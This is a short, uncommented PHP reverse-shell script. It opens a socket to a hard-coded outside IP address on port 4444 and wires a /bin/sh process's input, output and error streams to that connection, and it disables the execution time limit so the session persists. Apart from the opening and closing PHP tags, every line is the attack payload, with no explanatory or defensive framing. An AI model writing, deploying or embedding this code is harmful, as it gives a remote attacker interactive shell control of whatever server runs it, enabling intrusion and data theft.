<?php
set_time_limit(0);
$ip = '213.87.133.208';
$port = 4444;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
    0 => $sock,
    1 => $sock,
    2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>